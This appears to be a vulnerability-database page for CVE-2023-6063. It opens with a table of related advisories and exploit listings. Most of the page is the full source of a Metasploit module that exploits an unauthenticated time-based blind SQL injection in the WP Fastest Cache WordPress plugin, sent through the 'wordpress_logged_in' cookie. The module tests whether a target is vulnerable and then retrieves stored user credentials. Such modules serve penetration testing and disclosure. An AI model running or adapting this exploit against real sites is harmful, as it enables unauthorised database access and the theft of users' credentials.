| Reporter | Title | Published | Views | Family All 26 |
|---|---|---|---|---|
| WordPress WP Fastest Cache 1.2.2 SQL Injection Vulnerability | 28 Feb 202400:00 | – | zdt | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 15 Nov 202314:53 | – | githubexploit | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 10 Apr 202515:56 | – | githubexploit | |
| Exploit for CVE-2023-4666 | 14 Oct 202314:04 | – | githubexploit | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 16 Nov 202317:41 | – | githubexploit | |
| Exploit for SQL Injection in Wpfastestcache Wp_Fastest_Cache | 10 Apr 202515:56 | – | githubexploit | |
| The vulnerability of the WP Fastest Cache plugin of the WordPress content management system allows attackers to execute arbitrary SQL queries. | 16 Nov 202300:00 | – | bdu_fstec | |
| CVE-2023-6063 | 15 Nov 202312:43 | – | circl | |
| WordPress plugin WP Fastest Cache SQL Injection Vulnerability | 4 Dec 202300:00 | – | cnnvd | |
| CVE-2023-6063 | 4 Dec 202321:29 | – | cve |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi
def initialize(info = {})
super(
update_info(
info,
'Name' => 'WordPress WP Fastest Cache Unauthenticated SQLi (CVE-2023-6063)',
'Description' => %q{
WP Fastest Cache, a WordPress plugin,
prior to version 1.2.2, is vulnerable to an unauthenticated SQL injection
vulnerability via the 'wordpress_logged_in' cookie. This can be exploited via a blind SQL injection attack without requiring any authentication.
},
'Author' => [
'Valentin Lobstein', # Metasploit Module
'Julien Voisin', # Module Idea
'Alex Sanford' # Vulnerability Discovery
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2023-6063'],
['URL', 'https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/']
],
'Actions' => [
['List Data', { 'Description' => 'Queries database schema for COUNT rows' }]
],
'DefaultAction' => 'List Data',
'DefaultOptions' => { 'SqliDelay' => '2', 'VERBOSE' => true },
'DisclosureDate' => '2023-11-14',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)
register_options [
OptInt.new('COUNT', [false, 'Number of rows to retrieve', 1]),
]
end
def run_host(_ip)
# next line included for automatic inclusion into vulnerable plugins list
# check_plugin_version_from_readme('wp-fastest-cache', '1.2.3')
print_status("Performing SQL injection via the 'wordpress_logged_in' cookie...")
random_number = Rex::Text.rand_text_numeric(4..8)
random_table = Rex::Text.rand_text_alpha(4..8)
random_string = Rex::Text.rand_text_alpha(4..8)
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
res = send_request_cgi({
'method' => 'GET',
'cookie' => "wordpress_logged_in=\" AND (SELECT #{random_number} FROM (SELECT(#{payload}))#{random_table}) AND \"#{random_string}\"=\"#{random_string}",
'uri' => normalize_uri(target_uri.path, 'wp-admin.php')
})
fail_with Failure::Unreachable, 'Connection failed' unless res
end
fail_with(Failure::NotVulnerable, 'Target is not vulnerable or delay is too short.') unless @sqli.test_vulnerable
print_good('Target is vulnerable to SQLi!')
wordpress_sqli_initialize(@sqli)
wordpress_sqli_get_users_credentials(datastore['COUNT'])
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation